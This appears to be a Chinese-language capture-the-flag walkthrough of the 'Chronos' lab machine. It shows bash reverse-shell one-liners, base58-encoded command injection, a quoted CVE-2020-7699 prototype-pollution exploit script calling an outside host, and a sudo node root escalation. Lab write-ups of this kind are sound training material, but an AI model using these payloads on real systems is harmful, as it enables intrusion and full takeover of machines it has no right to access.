打靶-Chronos
0x00 准备工作
难度等级: 中
打靶目标: 取得 2 个 flag + root 权限
涉及攻击方法:
- 端口扫描
- WEB侦查
- 命令注入
- 数据编解码
- 搜索大法
- 框架漏洞利用
- 代码审计
- NC串联
- 本地提权
0x01 flag1
主机扫描,使用netdiscover -r 10.0.2.0/24
,-r指定ip段。
再进行端口扫描
Nikto是一个开源的WEB扫描评估软件,可以对Web服务器进行多项安全测试,具体的使用参考https://zhuanlan.zhihu.com/p/124246499。使用nikto -h 10.0.2.7
,扫描详细的web服务信息。Express是基于 Node.js 平台,快速、开放、极简的 Web 开发框架。
下面访问下80端口的web服务
查看下源代码,21行的js代码很可疑,不过可以看到这些函数的字符经过处理了。
jsbeautify得到一条url地址,chrons.local怀疑是靶机的域名,再刷新下web页面,发现Permission Denied。
format后面的字符串看起来也像是base加密过的,放到cyberchef里面用magic跑一下,发现是base58加密的,然后格式很类似date命令。%A 表示星期,%B : 月份,%d表示日,%Y表示年,%H表示小时,%M表示分钟,%S表示秒。
下面修改/etc/hosts后再次访问。
构造;bash -c 'bash -i >& /dev/tcp/10.0.2.4/2333 0>&1'
经过base58加密后,用bp抓包改包。
虽然爆出了错误提示信息,但shell是已经连上的。
接着进行代码审计,package.json记录当前项目所依赖模块的版本信息,package-lock.json记录了node_modules目录下所有模块的具体来源和版本号以及其他的信息,app.js是项目的入口文件,node_modules是安装node后用来存放用包管理工具下载安装的包的文件夹。chronos文件夹中没有找到相关的漏洞利用点,跳到opt目录,发现同级下存在 chronos-v2文件夹。
跳进去看一下,backend是后端,frontend是前端,index.html是首页,看下后端的代码。
发现存在一个文件上传的东西
经过查找需要用到CVE-2020-7699,参考:https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/?cf_chl_jschl_tk=pmd_is5dI67SGF84oBx7VNrHKtOJkiFLfvwseT0ZXR2iQG8-1633955732-0-gqNtZGzNAlCjcnBszQbR、https://blog.csdn.net/systemino/article/details/108099675、https://blog.p6.is/Real-World-JS-1/,且前提条件是启用"parseNested"选项,这里查看server.js的源码。
满足条件,然后,找到的exp代码如下:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'
# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://p6.is:7777')
上传到服务器,修改权限,运行反弹shell。
查看user.txt
0x02 flag2
在Linux系统上进行提权通常有3种:
- 通过内核漏洞提权
- suid的权限配置不当
- sudo权限配置不严谨
这次在sudo时,发现可疑点,可以在不需要密码的情况下运行npm和node命令。
然后搜索一下node.js提权的代码。
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
成功提权!
接着查看下root.txt